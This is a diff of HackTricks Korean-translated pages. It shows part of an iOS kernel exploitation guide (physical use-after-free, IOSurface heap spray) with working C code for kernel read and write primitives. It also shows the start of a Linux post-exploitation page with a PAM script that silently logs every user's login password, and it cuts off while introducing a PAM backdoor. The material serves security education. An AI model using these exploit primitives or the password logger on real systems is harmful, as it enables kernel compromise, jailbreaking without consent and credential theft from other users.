œ์–ด๊ฐ€ ํ•„์š”ํ•˜๋ฉด ํ•œ ๋ ˆ๋ฒจ์˜ ์—”ํŠธ๋ฆฌ(์˜ˆ: L1)๊ฐ€ ๋‹ค์Œ ๋ ˆ๋ฒจ์˜ child page table(L2)์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +#### Example: Mapping a Virtual Address + +์˜ˆ๋ฅผ ๋“ค์–ด ๊ฐ€์ƒ ์ฃผ์†Œ **0x1000000000**์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ํ•˜๋ฉด: + +1. **L1 Table**: +* ์ปค๋„์€ ์ด ๊ฐ€์ƒ ์ฃผ์†Œ์— ํ•ด๋‹นํ•˜๋Š” L1 page table ์—”ํŠธ๋ฆฌ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์—”ํŠธ๋ฆฌ๊ฐ€ **L2 page table์„ ๊ฐ€๋ฆฌํ‚ค๋ฉด**, ๊ทธ L2 ํ…Œ์ด๋ธ”๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. +2. **L2 Table**: +* ์ปค๋„์€ ๋” ์ƒ์„ธํ•œ ๋งคํ•‘์„ ์œ„ํ•ด L2 page table์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ์—”ํŠธ๋ฆฌ๊ฐ€ **L3 page table์„ ๊ฐ€๋ฆฌํ‚ค๋ฉด**, ๊ทธ๊ณณ์œผ๋กœ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. +3. **L3 Table**: +* ์ปค๋„์€ ์ตœ์ข… L3 ์—”ํŠธ๋ฆฌ๋ฅผ ์กฐํšŒํ•˜์—ฌ ์‹ค์ œ ๋ฉ”๋ชจ๋ฆฌ ํŽ˜์ด์ง€์˜ **physical address**๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค. + +#### Example of Address Mapping + +๋งŒ์•ฝ L2 ํ…Œ์ด๋ธ”์˜ ์ฒซ ์ธ๋ฑ์Šค์— ๋ฌผ๋ฆฌ ์ฃผ์†Œ **0x800004000**์„ ์“ด๋‹ค๋ฉด: + +* ๊ฐ€์ƒ ์ฃผ์†Œ **0x1000000000** ~ **0x1002000000**์€ ๋ฌผ๋ฆฌ ์ฃผ์†Œ **0x800004000** ~ **0x802004000**์— ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค. +* ์ด๋Š” L2 ๋ ˆ๋ฒจ์˜ **block mapping**์ž…๋‹ˆ๋‹ค. + +๋Œ€์‹  L2 ์—”ํŠธ๋ฆฌ๊ฐ€ L3 ํ…Œ์ด๋ธ”์„ ๊ฐ€๋ฆฌํ‚ค๋ฉด: + +* ๊ฐ€์ƒ ์ฃผ์†Œ ๋ฒ”์œ„ **0x1000000000 -> 0x1002000000**์˜ ๊ฐ 4 KB ํŽ˜์ด์ง€๋Š” L3 ํ…Œ์ด๋ธ”์˜ ๊ฐœ๋ณ„ ์—”ํŠธ๋ฆฌ๋กœ ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค. + +### Physical use-after-free + +physical use-after-free (UAF)๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: + +1. ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. +2. page tables๊ฐ€ ์ด ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ • physical address์— ๋งคํ•‘ํ•˜๋„๋ก ์—…๋ฐ์ดํŠธ๋ฉ๋‹ˆ๋‹ค. +3. ํ”„๋กœ์„ธ์Šค๊ฐ€ ํ•ด๋‹น ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ•ด์ œ(free)ํ•ฉ๋‹ˆ๋‹ค. +4. ๊ทธ๋Ÿฌ๋‚˜ ๋ฒ„๊ทธ๋กœ ์ธํ•ด ์ปค๋„์ด page tables์—์„œ ๋งคํ•‘์„ ์ œ๊ฑฐํ•˜๋Š” ๊ฒƒ์„ ์žŠ์–ด๋ฒ„๋ฆฌ๊ณ , ํ•ด๋‹น physical ๋ฉ”๋ชจ๋ฆฌ๋Š” free๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. +5. ์ปค๋„์ด ์ด "ํ•ด์ œ๋œ" physical ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‹ค๋ฅธ ์šฉ๋„(์˜ˆ: kernel ๋ฐ์ดํ„ฐ)๋กœ ์žฌํ• ๋‹นํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +6. ๋งคํ•‘์ด ์ œ๊ฑฐ๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— ํ”„๋กœ์„ธ์Šค๋Š” ์—ฌ์ „ํžˆ ์ด physical ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +์ด๋กœ ์ธํ•ด ํ”„๋กœ์„ธ์Šค๋Š” kernel ๋ฉ”๋ชจ๋ฆฌ ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๊ณ , ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋‚˜ ๊ตฌ์กฐ์ฒด๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ํ•ด๋‹น ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•ด kernel ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +### IOSurface Heap Spray + +๊ณต๊ฒฉ์ž๋Š” ์–ด๋–ค ํŠน์ •ํ•œ kernel ํŽ˜์ด์ง€๊ฐ€ ํ•ด์ œ๋œ ๋ฉ”๋ชจ๋ฆฌ์— ํ• ๋‹น๋ ์ง€ ์ œ์–ดํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์—, heap spray๋ผ๋Š” ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค: + +1. ๊ณต๊ฒฉ์ž๋Š” kernel ๋ฉ”๋ชจ๋ฆฌ์— ๋งŽ์€ ์ˆ˜์˜ IOSurface ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. +2. ๊ฐ IOSurface ๊ฐ์ฒด๋Š” ์‹๋ณ„์ด ์šฉ์ดํ•˜๋„๋ก ํ•„๋“œ ์ค‘ ํ•˜๋‚˜์— magic value๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. +3. ๊ณต๊ฒฉ์ž๋Š” ํ•ด์ œ๋œ ํŽ˜์ด์ง€๋ฅผ ์Šค์บ”ํ•˜์—ฌ ์ด IOSurface ๊ฐ์ฒด๋“ค์ด ํ•ด์ œ๋œ ํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ”๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. +4. ํ•ด์ œ๋œ ํŽ˜์ด์ง€์—์„œ IOSurface ๊ฐ์ฒด๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด ์ด๋ฅผ ์ด์šฉํ•ด kernel ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +์ž์„ธํ•œ ๋‚ด์šฉ์€ [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)์—์„œ ํ™•์ธํ•˜์„ธ์š”. + +> [!TIP] +> iOS 16+ (A12+) ๋””๋ฐ”์ด์Šค๋Š” physical UAF ๊ธฐ๋ฒ•์˜ ํšจ์šฉ์„ ํฌ๊ฒŒ ๋–จ์–ด๋œจ๋ฆฌ๋Š” ํ•˜๋“œ์›จ์–ด ์™„ํ™”์ฑ…๋“ค์„ ๋„์ž…ํ–ˆ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”. +> PPL์€ code signing, entitlements, ๋ฐ ๋ฏผ๊ฐํ•œ kernel ๋ฐ์ดํ„ฐ์™€ ์—ฐ๊ด€๋œ ํŽ˜์ด์ง€์— ๋Œ€ํ•ด ์—„๊ฒฉํ•œ MMU ๋ณดํ˜ธ๋ฅผ ์ ์šฉํ•˜๋ฏ€๋กœ, ํŽ˜์ด์ง€๊ฐ€ ์žฌ์‚ฌ์šฉ๋˜๋”๋ผ๋„ userland๋‚˜ ์†์ƒ๋œ kernel ์ฝ”๋“œ์—์„œ PPL๋กœ ๋ณดํ˜ธ๋œ ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ์“ฐ๊ธฐ๋Š” ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค. +> Secure Page Table Monitor (SPTM)๋Š” PPL์„ ํ™•์žฅํ•˜์—ฌ page table ์—…๋ฐ์ดํŠธ ์ž์ฒด๋ฅผ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํŠน๊ถŒ ์žˆ๋Š” kernel ์ฝ”๋“œ์กฐ์ฐจ ๋ณด์•ˆ ๊ฒ€์ฆ์„ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ํ•ด์ œ๋œ ํŽ˜์ด์ง€๋ฅผ ์€๋ฐ€ํžˆ ์žฌ๋งคํ•‘ํ•˜๊ฑฐ๋‚˜ ๋งคํ•‘์„ ์กฐ์ž‘ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. +> KTRR (Kernel Text Read-Only Region)์€ ๋ถ€ํŒ… ์ดํ›„ ์ปค๋„ ์ฝ”๋“œ ์„น์…˜์„ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๊ณ ์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” runtime์—์„œ ์ปค๋„ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜์—ฌ physical UAF ์ต์Šคํ”Œ๋กœ์ž‡์ด ์ž์ฃผ ์˜์กดํ•˜๋Š” ์ฃผ์š” ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋ฅผ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. +> ๋˜ํ•œ IOSurface ํ• ๋‹น์€ ์˜ˆ์ธกํ•˜๊ธฐ ์–ด๋ ค์›Œ์กŒ๊ณ  user-accessible ์˜์—ญ์œผ๋กœ ๋งคํ•‘ํ•˜๊ธฐ ๋” ํž˜๋“ค์–ด์ ธ์„œ "magic value ์Šค์บ”" ๊ธฐ๋ฒ•์˜ ์‹ ๋ขฐ์„ฑ์ด ํฌ๊ฒŒ ๋–จ์–ด์กŒ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  IOSurface๋Š” ์ด์ œ entitlements ๋ฐ sandbox ์ œํ•œ์œผ๋กœ ๋ณดํ˜ธ๋ฉ๋‹ˆ๋‹ค. + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: ๊ณต๊ฒฉ์ž๋Š” ํŠน์ˆ˜ ์‹๋ณ„์ž("magic value")๋ฅผ ๊ฐ€์ง„ ๋งŽ์€ IOSurface ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. +2. **Scan Freed Pages**: ํ•ด์ œ๋œ ํŽ˜์ด์ง€๋“ค ์ค‘ ์–ด๋–ค ๊ฐ์ฒด๊ฐ€ ๊ทธ ์œ„์— ํ• ๋‹น๋˜์—ˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. +3. **Read/Write Kernel Memory**: IOSurface ๊ฐ์ฒด์˜ ํ•„๋“œ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ **arbitrary reads and writes**๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +* ํ•œ ํ•„๋“œ๋ฅผ ์‚ฌ์šฉํ•ด kernel ๋ฉ”๋ชจ๋ฆฌ์˜ ์ž„์˜์˜ 32-bit ๊ฐ’์„ **์ฝ์Šต๋‹ˆ๋‹ค**. +* ๋‹ค๋ฅธ ํ•„๋“œ๋ฅผ ์‚ฌ์šฉํ•ด 64-bit ๊ฐ’์„ **์”๋‹ˆ๋‹ค**, ์ด๋ฅผ ํ†ตํ•ด ์•ˆ์ •์ ์ธ **kernel read/write primitive**๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค. + +Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +ํ•œ ๊ฐœ์˜ ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์—์„œ **`IOSurface`** ๊ฐ์ฒด๋ฅผ ๊ฒ€์ƒ‰: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### IOSurface๋กœ ์ปค๋„ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๋‹ฌ์„ฑ + +์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ IOSurface ๊ฐ์ฒด(์‚ฌ์šฉ์ž ๊ณต๊ฐ„์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์— ๋งคํ•‘๋จ)๋ฅผ ์ œ์–ดํ•˜๊ฒŒ ๋˜๋ฉด, ์ด๋ฅผ ์ด์šฉํ•ด **์ž„์˜์˜ ์ปค๋„ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ์ž‘์—…**์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. + +**Key Fields in IOSurface** + +IOSurface ๊ฐ์ฒด์—๋Š” ๋‘ ๊ฐœ์˜ ์ค‘์š”ํ•œ ํ•„๋“œ๊ฐ€ ์žˆ๋‹ค: + +1. **Use Count Pointer**: **32-bit read**๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค. +2. **Indexed Timestamp Pointer**: **64-bit write**๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค. + +์ด ํฌ์ธํ„ฐ๋“ค์„ ๋ฎ์–ด์จ์„œ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ž„์˜ ์ฃผ์†Œ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๋ฉด, ์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. + +#### 32-Bit Kernel Read + +์ฝ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด: + +1. ๋Œ€์ƒ ์ฃผ์†Œ์—์„œ 0x14 ๋ฐ”์ดํŠธ ์˜คํ”„์…‹์„ ๋บ€ ์œ„์น˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก **use count pointer**๋ฅผ ๋ฎ์–ด์“ด๋‹ค. +2. `get_use_count` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ์ฃผ์†Œ์˜ ๊ฐ’์„ ์ฝ์–ด์˜จ๋‹ค. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64๋น„ํŠธ ์ปค๋„ ์“ฐ๊ธฐ + +์“ฐ๊ธฐ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด: + +1. ๋Œ€์ƒ ์ฃผ์†Œ๋กœ **์ธ๋ฑ์Šค๋œ ํƒ€์ž„์Šคํƒฌํ”„ ํฌ์ธํ„ฐ**๋ฅผ ๋ฎ์–ด์”๋‹ˆ๋‹ค. +2. 64๋น„ํŠธ ๊ฐ’์„ ์“ฐ๊ธฐ ์œ„ํ•ด `set_indexed_timestamp` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Exploit ํ๋ฆ„ ์š”์•ฝ + +1. **Trigger Physical Use-After-Free**: ํ•ด์ œ๋œ ํŽ˜์ด์ง€๊ฐ€ ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. +2. **Spray IOSurface Objects**: kernel ๋ฉ”๋ชจ๋ฆฌ์— ๊ณ ์œ ํ•œ "magic value"๋ฅผ ๊ฐ€์ง„ ๋งŽ์€ IOSurface ๊ฐ์ฒด๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. +3. **Identify Accessible IOSurface**: ์ œ์–ด ์ค‘์ธ ํ•ด์ œ๋œ ํŽ˜์ด์ง€์— ์žˆ๋Š” IOSurface๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. +4. **Abuse Use-After-Free**: IOSurface ๊ฐ์ฒด์˜ ํฌ์ธํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ IOSurface ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ **kernel read/write**๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. + +์ด๋Ÿฌํ•œ primitives๋กœ ์ต์Šคํ”Œ๋กœ์ž‡์€ kernel ๋ฉ”๋ชจ๋ฆฌ์— ๋Œ€ํ•œ ์ œ์–ด๋œ **32-bit reads** ๋ฐ **64-bit writes**๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€์ ์ธ jailbreak ๋‹จ๊ณ„๋Š” ๋” ์•ˆ์ •์ ์ธ read/write primitives๋ฅผ ํ•„์š”๋กœ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ถ”๊ฐ€์ ์ธ ๋ณดํ˜ธ(์˜ˆ: ์ตœ์‹  arm64e ์žฅ์น˜์˜ PPL)๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 539421f26..c907e0a2a 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,23 +4,22 @@ ## Sniffing Logon Passwords with PAM -๊ฐ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ธฐ๋กํ•˜๋„๋ก PAM ๋ชจ๋“ˆ์„ ๊ตฌ์„ฑํ•ด๋ณด์ž. PAM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๋ฉด ๋‹ค์Œ์„ ํ™•์ธํ•˜๋ผ: - +๊ฐ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ธฐ๋กํ•˜๋„๋ก PAM ๋ชจ๋“ˆ์„ ๊ตฌ์„ฑํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. PAM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๋ฉด ํ™•์ธํ•˜์„ธ์š”: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary: +**์ž์„ธํ•œ ๋‚ด์šฉ์€ [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)์„ ํ™•์ธํ•˜์„ธ์š”.** ์ด๊ฒƒ์€ ์š”์•ฝ์ž…๋‹ˆ๋‹ค: **Technique Overview:** -Pluggable Authentication Modules (PAM)์€ Unix ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ ์ธ์ฆ ๊ด€๋ฆฌ๋ฅผ ์œ ์—ฐํ•˜๊ฒŒ ํ•ด์ค€๋‹ค. ๋กœ๊ทธ์ธ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋งž์ถคํ™”ํ•ด ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•  ์ˆ˜ ์žˆ์œผ๋‚˜, ์˜ค์šฉ๋  ๊ฒฝ์šฐ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ์š”์•ฝ์€ PAM์„ ์‚ฌ์šฉํ•ด ๋กœ๊ทธ์ธ ์ž๊ฒฉ์ฆ๋ช…์„ ์ˆ˜์ง‘ํ•˜๋Š” ๊ธฐ๋ฒ•๊ณผ ์ด์— ๋Œ€ํ•œ ์™„ํ™” ์ „๋žต์„ ๊ฐœ๋žต์ ์œผ๋กœ ์„ค๋ช…ํ•œ๋‹ค. +Pluggable Authentication Modules (PAM)์€ Unix ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ ์ธ์ฆ ๊ด€๋ฆฌ๋ฅผ ์œ ์—ฐํ•˜๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋กœ๊ทธ์ธ ๊ณผ์ •์„ ๋งž์ถคํ™”ํ•˜์—ฌ ๋ณด์•ˆ์„ ํ–ฅ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์ง€๋งŒ, ์˜ค์šฉ๋  ๊ฒฝ์šฐ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์š”์•ฝ์€ PAM์„ ์‚ฌ์šฉํ•ด ๋กœ๊ทธ์ธ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ˆ˜์ง‘ํ•˜๋Š” ๊ธฐ๋ฒ•๊ณผ ํ•จ๊ป˜ ์™„ํ™” ๋ฐฉ์•ˆ์„ ๊ฐœ์š”ํ•ฉ๋‹ˆ๋‹ค. **Capturing Credentials:** -- `toomanysecrets.sh`๋ผ๋Š” bash ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ๋กœ๊ทธ์ธ ์‹œ๋„(๋‚ ์งœ, ์‚ฌ์šฉ์ž ์ด๋ฆ„(`$PAM_USER`), ํŒจ์Šค์›Œ๋“œ(stdin์„ ํ†ตํ•ด ์ˆ˜์ง‘), ์›๊ฒฉ ํ˜ธ์ŠคํŠธ IP(`$PAM_RHOST`))๋ฅผ `/var/log/toomanysecrets.log`์— ๊ธฐ๋กํ•œ๋‹ค. -- ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ์— ์‹คํ–‰ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ ๋’ค `pam_exec.so` ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•ด ์กฐ์šฉํžˆ ์‹คํ–‰(run quietly)ํ•˜๊ณ  ์ธ์ฆ ํ† ํฐ์„ ์Šคํฌ๋ฆฝํŠธ์— ๋…ธ์ถœ(expose the authentication token)ํ•˜๋„๋ก ์˜ต์…˜์„ ์„ค์ •ํ•ด PAM ๊ตฌ์„ฑ(`common-auth`)์— ํ†ตํ•ฉํ•œ๋‹ค. -- ์ด ์ ‘๊ทผ๋ฒ•์€ ์†์ƒ๋œ Linux ํ˜ธ์ŠคํŠธ๋ฅผ ์ด์šฉํ•ด ์ž๊ฒฉ์ฆ๋ช…์„ ์€๋ฐ€ํ•˜๊ฒŒ ๊ธฐ๋กํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค. +- A bash script named `toomanysecrets.sh` is crafted to log login attempts, capturing the date, username (`$PAM_USER`), password (via stdin), and remote host IP (`$PAM_RHOST`) to `/var/log/toomanysecrets.log`. +- The script is made executable and integrated into the PAM configuration (`common-auth`) using the `pam_exec.so` module with options to run quietly and expose the authentication token to the script. +- The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -32,32 +31,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. ๋‹ค์Œ์€ ์š”์•ฝ์ž…๋‹ˆ๋‹ค: +**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. ์ด๊ฒƒ์€ ์š”์•ฝ์ž…๋‹ˆ๋‹ค: -Pluggable Authentication Module (PAM)๋Š” Linux์—์„œ ์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉ๋˜๋Š” ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ์ด ์‹œ์Šคํ…œ์€ ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ๊ฐœ๋…์ธ **username**, **password**, ๋ฐ **service**๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์„œ๋น„์Šค์˜ ์„ค์ • ํŒŒ์ผ์€ `/etc/pam.d/` ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์œ„์น˜ํ•˜๋ฉฐ, ์—ฌ๊ธฐ์„œ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์ธ์ฆ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. +Pluggable Authentication Module (PAM)์€ Linux์—์„œ ์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉ๋˜๋Š” ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ๊ฐœ๋…์œผ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค: **username**, **password**, ๊ทธ๋ฆฌ๊ณ  **service**. ๊ฐ ์„œ๋น„์Šค์˜ ๊ตฌ์„ฑ ํŒŒ์ผ์€ `/etc/pam.d/` ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์œ„์น˜ํ•˜๋ฉฐ, ์—ฌ๊ธฐ์„œ ๊ณต์œ  